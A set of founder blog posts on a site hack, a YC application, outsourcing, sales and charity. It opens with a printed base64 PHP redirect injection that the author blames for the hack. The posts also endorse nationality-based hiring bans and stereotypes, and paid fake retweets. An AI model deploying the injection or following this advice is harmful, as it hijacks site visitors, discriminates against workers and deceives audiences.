Here is the cause of my woes! =(

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ2lnb3AuYW1lcmljYW51bmZpbmlzaGVkLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"))

Its going to die. yay!

Below is my YC app for the most recent batch.  Realistically, the chances of getting an interview is pretty slim because of the number of worthy candidates.  The only way to guarantee yourself a place in the next class is to either (1) be a prior successful founder or (2) have an established business model with over 1,000 paying customers.  Notice that if you had either, then you wouldn’t even need to get into YC because you’d be too busying winning xP.

I don’t expect to be chosen, but I thought that it was a great thought exercise to go through.  These are questions that you should’ve asked yourself a while ago anyway.

I did my app fairly quickly because I’ve asked myself a lot of these questions before while lying awake at night.

Putting everything down on paper is an awkward experience because it sounds great in your head and looks insane in words.  Forcing yourself to write concisely is really hard.  Conveying your idea to something simple and clear is totally different than just doing it.

I suggest everyone try and actually write this stuff down.  You’ll be amazed at the shit you’ll say the first time through.

Here’s my application:

*Note: If anyone else is willing to post their app and willing to centralize them all, let me know and I’ll throw it all together real quick.  It’ll be interesting if the crowd-voted favorites will be chosen.  Mob mentality v. YC. LOL

http://cameronkeng.com/wp-content/uploads/2012/03/yc-tax-application.pdf

Outsourcing vs. Offshoring

Definitions:

Outsourcing – is having an external individual or organization complete tasks or objectives for you.

Offshoring – is having an external individual or organization in a foreign country complete tasks or objectives for you.

I’ve spent at this point $6,679.13 dollars outsourcing and offshoring work this month.  Examples of tasks that I’ve outsourced or offshored:

1. Media/PR Tasks such as looking up contact info of reporters and investors.
   1. They’re always good at this!  This can easily take you hours (Paid $10 for 100 contacts)
   2. Write and Edit Tax Manuals based on my various past writings, journals and tax publications
      1. Offshoring writing is difficult because the English will be 90% perfect, but that last 10% seems to always irk me.
      2. I’ve learned to avoid having them writing original content, but instead have them edit, format and take inspiration/bits from various sources. They’re amazing at this type of work because this is what they usually do anyway.
      3. Social Media.  I’m not a fan.  But, I understand that it works in very specific circumstances.  This is a longer-term investment play.  Twitter requires a huge amount of social proof to have you take off.  On twitter, if you do the following:
         1. Write a tweet to a reporter such as “@RandomReporter’s article on stupid stuff that @cameronkeng think’s is awesome! Read it link”
         2. This then is retweeted at random times by various offshore or outsourced contractors.  All of a sudden the reporter loves you because you’ve “expanded their audience” and gave them social proof that they can retweet themselves.
         3. When the reporter retweets you, then you’re known to their audience of readers and more importantly – other reporters.
         4. Development.  Developers in the United States are awesome.  So, awesome that we can’t afford them lol.  Understand that hiring developers overseas is the worst thing you can do in your life because they all suck to varying degrees because the good ones are already taken.
            1. I have categorically refused to hire from India, Pakistan and the like because of the signal to noise ratio.

i.      I spoke to an Indian firm ran by an American-Indian and he actually admitted that the reason why all Indian firms have such poor service is because of the mindset:

1. They already know you’re going to leave.  It’s a matter of time before you realize that this isn’t going to work.  So, they’ll agree to anything you possibly ask for knowing they can’t or won’t deliver because they’d rather get you on the hook for a month or two before you realize it. (LOL)
2. If you want this to work, you need to understand development yourself.  Code needs to be consistently reviewed and everything needs to be communicated.
3. Understand that you’re paying really cheap prices and everyone knows that (Including the people you hired.)  The timeline you expect needs to be 3 times whatever you want.

Cam’s General Outsourcing & Offshoring Rules:

1. I defer to Filipinos.  They’re just better.  They’re awesome for a variety of reasons.
   1. They’re almost fluent in English because of American colonization.
   2. Great customer service!  Guaranteed they’ll always call your sir or madam.  I’m usually called a madam because they think I’m Cameron Diaz. (LOL)
   3. Incredibly honest.  I’ve had a Filipino that had over billed by 50 hours and when I brought it to his attention he refunded the money within the same day.
   4. Skilled labor.  Filipinos have a variety of skills that are competitive in the international market.  I like to use them the most for writing, editing, video and audio.
   5. Always make strict rules and guidelines that cannot be broken.  For example, require the applicants to have a message typed up in the Subject line as an introduction and a format for them to structure their information.
      1. Subject line should always have a keyword so that we know that they can follow directions.
      2. Format is important because it shows they actually read your directions and can follow them.  If they’re this stupid now, then how are they going to do good work in the future?
      3. Require that they’re willing to give skype calls where audio is a must and video is preferred.  You forget that visual interaction is important because you can physically see signs of lying and other problems that can be hidden through the “internetz.”
      4. Know that you’re going to over pay and lose money on your projects.
         1. Your first project is a loser.  I paid 4 people to do the same project, so I basically overpaid over 4x the actual cost of the project.  This is the cost of finding good people.

I’ll go into more detail on how I found good people that I’ve kept on for the past 6 months on a semi-permanent basis.

I’ve finally gotten off my lazy ass and fixed my site that was hacked for the last month.  Sadly, it took this long because I was at SXSW this year on the StartupBus that totally kicked my ass.  It was an amazing experience and in all honestly – life changing.

I’m glad I figured out how to fix this problem, in the future I’ll be able to do this much faster.  It’s embarrassing, but I didn’t know how to use myphpadmin to reload my backed up database.

So, here’s the new site design and the content is back!

You can find this article posted by me originally on tech.li as a regular columnist.

The current obsession with “product” is probably the worst thing to hit the startup community recently, since Color.  Worry about selling.  Building a product before you’re able to definitively sell it is a guaranteed recipe to fail – hard.  I recently started a new business and my first task was to sell.

I pre-sold my product based on the idea alone before I ever spent a dollar on development.

If you can’t sell your product to someone for cold hard cash based on the idea alone in person, then you’re in for a beating.  The in-person selling exercise is going to be the best chance you’ll ever have to close a sale.  Online marketing is impersonal and notoriously difficult.  If you can’t sell your product with your try hard pants on and all your charm, then you better move on.

After pre-selling my product, I got to work building publicity and mindshare.

Knowing that your product sells is awesome.  The next most important thing is to find a way to reach your target audience.  Getting people to notice you when you’re a nobody sucks – period.  You need to do something big fast.

I chose to make a big splash by offering crazy value for free, while I’m building the product.

I don’t have the ability to write convincingly enough for my copywriting to bring the house down.  What I can do (as well as any startup) is to create value.  It’s a lot easier to get publicity by doing something than writing about it.  Most people never doing anything their entire lives worth repeating.

I created a website that provides free continuing professional education or learning credits that one of my target audiences needs to retain their license.  Googling these credits shows that the average cost for it is about $89 dollars per credit.

I applied and receive approval by the necessary federal and state departments to become an official provider.  I’ve now cornered the market and mindshare for my target audience.  They need me.  They have to come and find me to get their free credits to keep their license.  This website is now part of my sales funnel to sell my product.

Was doing this a giant pain in the ass?

Absolutely.

Was it equally necessary?

Absolutely.

It’s never easy to do something important enough to grab attention.  But, it’s always worth it to at least try.  We’re all in it to succeed and if you’ve been in the game longer than 2 weeks, then you know that everything we do takes an impossible amount of effort.  So, do what you do best – work.

Is the economy depressing you?  You probably think that the economy is in the toilet and it doesn’t make sense to be an entrepreneur anymore.  You should probably take a look at Jimmy Chen in Taipei, Taiwan.  Jimmy is mentally handicapped.  Jimmy was born with down syndrome and he’s a successful entrepreneur!

Jimmy the Huslter (Bottom Right)

I can’t tell you how amazed I was meeting Jimmy.  I actually didn’t realize that he was handicapped at first glance, so I lowered my head and walked a little faster hoping he wouldn’t bother me.  I thought that Jimmy was just another guy on the street wheeling and dealing.

I asked Jimmy how he became an entrepreneur.  Jimmy with the most jovial personality I’ve ever met, said that he hates being seen as disadvantaged.  His parents sheltered him for most of his life worried about his future.  At first Jimmy was pretty embarrassed and then ashamed that he wasn’t a son that could bring the family a sense of pride.  (It’s pretty common knowledge how important it is for Asians to bring “honor” to the family.)

After a while, Jimmy just got sick of his self-pity.  He started to mess around and tried being a little more independent every day.  One of the things he tried was to cook for himself, so that his mom would stop worrying about meals. (Asians have an obsessive compulsive disorder about whether you’ve eaten yet.)

yum yums! eggrolls that care =)

Later, he learned how to make egg rolls.  Egg rolls are pretty common and popular dessert slash snack, so he figured it might sell.  Jimmy didn’t see his handicap as a limit to his success, but as a competitive advantage (how’s that for scrappy?).  Jimmy used himself as a way to market the product.  He sells the product that he makes from scratch to show everyone that it’s a completely handmade gourmet product.

Today, Jimmy is part of a larger organization that works together with an entire army of people with similar inherent “disadvantages.”  They all work together to hand-roll each egg roll and sell their products directly to market consumers.   (Jimmy made a straight B2C play, how’s that for a buzzword?)  You can find them daily though-out Taipei, Taiwan selling their delicious snacks.

The profits are used to support themselves and a nonprofit organization to help others like Jimmy and company.  They’ve developed a network where volunteers help watch over and transport them daily to continue their operations and sales.

Jimmy even needs to worry about piracy!  You thought developers were the only ones who had to worry about copyrights and trademarks.  Jimmy’s product has become so popular that counterfeits have started popping up selling knockoffs and pretending to be part of their organization.

Their nonprofit logo!

The thing about the story that really hit home was that Jimmy and his friends are amazing.  Jimmy was dealt a hand that most would fold, but he’s become part of something that most of us could never dream of because of our own laziness.

I was so proud of him and so ashamed of myself.  Jimmy hasn’t even turned 25 (my age) and his accomplishment blows everything I’ve ever done straight out of the water.  The thing about Jimmy is that he’s thankful.  He isn’t a millionaire and he isn’t famous, but he’s probably the happiest person you’ll ever meet because every egg-roll that someone buys is a testament to their ability.  When I bought his egg-rolls, he genuinely thanked me with a full 90 degree kowtow and flashed me the biggest grin that would put Julia Roberts to shame.

I don’t know about the rest of you out there, but this hit me to the core.  I’m usually bitching how hard startups and entrepreneurship is daily.  But, I’m going to start being thankful for the ability to do what I love.

Charity is inherently selfish for good reason.  Human nature is based on wants, something we’re taught since the 3^rd grade by Adam Smith’s theory of economics.  Economics is the study of the market’s wants.  Being charitable and being selfish aren’t exclusive relationships.  They’re fundamentally married because you wouldn’t help someone if you didn’t want to.

Optimistically, you’re selfish because you derive personal pleasure and joy from helping others.  Your charity is selfish because you want to feel good.  There are tons of people like this, but they’re hesitant to admit that they’re doing this because it’s selfish.

Pessimistically, I worked for a long time with the wealthy and major corporate players as a CPA.  A professional service provider can source their clients one of two ways.  The first, find other services that would gather a source of clients that need your service.  CPA’s and attorneys have had a long history of cooperation.  Law offices would receive commissions for introductions to wealthy clients being sued.  Talk to any law firm and they’ll have a “preferred CPA provider list” readily available.  The second is charity.  Selling is always easier when you’re selling to someone you know personally.

Charity is a great place to meet and knob elbows with people you want to network with.  The best example I can think of are charitable foundations.  An ex-KPMG (Tim-can’t give you his last name but he’s been on CNN) partner that specialized in personal income tax is a trustee or board member of over 10 different foundations.  His clients include the Johnson family (Johnson & Johnson Fame), CEO of Bank of America and etc.  He met all of these people through the charitable foundation boards he sits on.  Clearly, charity in this instance is absolutely selfish because you want to gain personal financial wealth from these relationships.

But, is there an effective difference between the two examples above?

The answer is no.  Who gives a crap if you’re selfish as long as you’re actions are charitable.  Sometimes the best intentioned lead to the worst conclusions.  So, let not get picky about the motives and focus on the conclusions.

Recently, I stumbled upon a business opportunity that was able to let me charge $300 a month regularly to provide a service.  The website I created was fairly simple and direct, so I spent about a total of 7 hours designing and developing the basic site and its landing page.  The most time consuming part of the entire experience was the design.

Step One is Always Get the First Customer

I personally refuse to create or do anything without first obtaining a commitment to buy from at least one customer.  It’s pretty pointless to spend all that time and effort creating something if you can’t find someone that would value your work enough to pay.  I’ll always sell the first copy as a proof of concept and then have them be my first beta user.

Website (1 hour)

For the website itself, I used wordpress because it’s a commonly used content management system (CMS) that everyone uses with TONS of documentation, plugs and a strong community.  The theme I used is one that I’ve used a couple of times with a few minor tweeks that in all took less than an hour.

Copy (1 hour)

I hate writing copy and I’m generally super lazy about this stuff initially when I’m building the initial launch because I just want to push this stuff out!  So, I googled a few competitors and literally copy and pasted their stuff to word, where I edited and reworded their copy to suit my needs.  It’s always a lot easier and faster to just use someone else’s copy as a template than to start from scratch.  I’m not here to reinvent the wheel or write the next great American novel.  I just want there to be words for people to see because I doubt that they’ll make a big difference initially.

Design (5 hours)

This is where it took a lot of time.  When I look at a website, I decide within the first 5 seconds whether the website is credible by the design overall feel of the website.  So, I knew that I had to make custom and targeted design that would communicate my value in an aesthetically pleasing way.

I googled a ton of websites to gain inspiration and basically took a variety of design ideas from a variety of websites.  Again, I’m not trying to reinvent the wheel lol.  Design is always easier when you have a concept in mind to start from because design is always an iterative process where the original idea is never the finishing product.  It took 5 hours for me to finally finish designing the 4 landing page images.  I usually do all my designs in Adobe Illustrator because I appreciate the vector format so that it’s easier for me to maintain the aspect ratio and crisp lines.  I know that a number of the fancy shmancy designers are probably rolling over in their graves because “real designers use photoshop.”  In reality, it doesn’t matter which you choose as long as you’re comfortable with the tool and use it effectively.

At this point the basic website is done with the usual landing or homepage, about us page, faq page, features page and a contact us page.

Payments (8 hours)

But, how the hell do I figure out how to integrate and setup a payment system that integrates with my website to provide a subscription charge on a periodic basis without my customer having to reenter their information or approve the charge every month.  Clients and customers don’t need to be reminded that their paying for the service.  It’s honestly better for everyone if the entire process is in the background without anyone having to worry about late payments or late penalties.

I spent a ton of time looking to figure out how to accept payments and went through the gamut of the different payment/credit card gateways and how to integrate them into different user interfaces as well as subscription billing.  In the end I remembered my own rule- Keep It Simple Stupid!

I was killing myself trying to figure out this issue when I finally found the answer.  Paypal (I’m not happy about it, but I’ll live with it.)  I’m the biggest paypal hater of them all, but when it comes to being lazy or hating paypal.  I’m going to choose to be lazy.  Paypal was the fastest and cheapest way for me to create a payment system that allowed subscription billing immediately without tons of annoying steps.

For comparison, If I wanted to set-up a traditional payment gateway, then I would have to first decide which option to go with from the billions of different terms.  Every gateway charges somewhere from $15 to $150 dollars a month as a basic fee and then a percentage of your gross receipts (This percentage varies based on the company and monthly fee.  The lower the monthly fee, the lower the percentage generally.)  Also, gateways always charge around a $100 dollars for a “setup fee,” which is seriously bullshit.  When you’ve decided the gateway, they’ll require a credit-check of your FICO score for approval.  Afterwards, you’ll be able to accept payments and use their API to integrate into your system.  But, most of them still require a third-party service provider to help you process “recurring or subscription payments” without requiring a ton of labor from your client.  These recurring billing agents or service providers charge between $30 to $80 dollars a month.

The most common gateways are authorize.net, braintree,  linkpoint and etc.

The most common recurring billing services are recurly, chargify, spreedly and cheddargetter.

So, I settled on paypal with its $0.30 per transaction surchage plus about another 3% fee based on the amount billed.  On $300 dollars, this comes out to be about $10 bucks a charge.

Conclusion

After 2 days of nonstop working and researching, I finally built out my new business where I was waiting for my first customer to pop-in.  After 3 hours of launching, I received my first order and paypal sent a confirmation to my mailbox that I got my first subscription customer.  Yay!

I’m a licensed tax professional and teacher, but my greatest asset at heart is salesmanship.  I began “selling” at an early age because I learned quickly that we’re all buying someone’s bullshit on a daily basis, so you might as well buy mine!

The fact that I’m a tax professional and teacher today is a direct result of me shilling verbal turds.  I was an English major in college until my junior year in college and needed a job.  A friend told me that he made about $10k in PwC’s summer internship, so I quickly realized that I needed to get into that internship this summer or I was going to be incredible poor the coming year.

I crashed the “pre-interview meet-n-greet dinner” that every major corporation gives the night before the actually interviews.  Most people understand the meet-n-greet is where the best candidates shine because they understand how to interact socially with the right people that have the “authority” to make hiring decisions.

I purchased my suit on sale that night from Men’s Warehouse that had to be tailored because I’m not the average 65 year-old American beer-pregnant male.  The pants had the waist taken in to the point where they gave me a new appreciation for women and why they hate thongs.

At the dinner, I was sure to avoid speaking to anyone that was remotely my age because they were obviously useless in the corporate hierarchy.  Anyone with streaks of grey or a full head of white hair was fair game.  Scoping the scene it was clear that the 1^st and 2^nd year associates (staff employees aka fluffers) were loving the attention that my peers were showering them with, but the quiet and stoic (most importantly white-haired) gentleman sat at the opposite corner of the room with an open chair next to him.

Upon introductions, I learned he was a director at the company (jackpot!).  His interests were golf and sailing.  I hate golf and I get seasick, but I soldiered on and made sure I avoided the topic of accounting and tax completely.  At the end of the dinner, he stood up and said cheerfully that “You’ll do fine tomorrow and at the firm in general.”

The next morning with my weggie-rific Men’s Warehouse suit, I walked into the interview hall and asked to speak with Mr. Director.  They assumed I was here as an employee in the company and I didn’t correct their misunderstanding.  They ushered me into the room with Mr. Director where he smiled and we talked about how horrible the steak was last night.  I left the room with an offer on the table and a contract in hand.

The key to sales is early disqualification of useless targets.  The mistake that most people made at the dinner was misidentifying who was the most important person in the room.  Your time in any given situation is limited and precious, so picking the right prospect is the single most important decision you can make before the selling process.  You need to pick the guy that wants, needs and is able to buy your particular brand of bullshit LOL.